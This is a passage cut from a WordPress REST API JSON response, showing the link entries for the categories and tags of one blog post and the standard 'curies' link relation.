ref":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}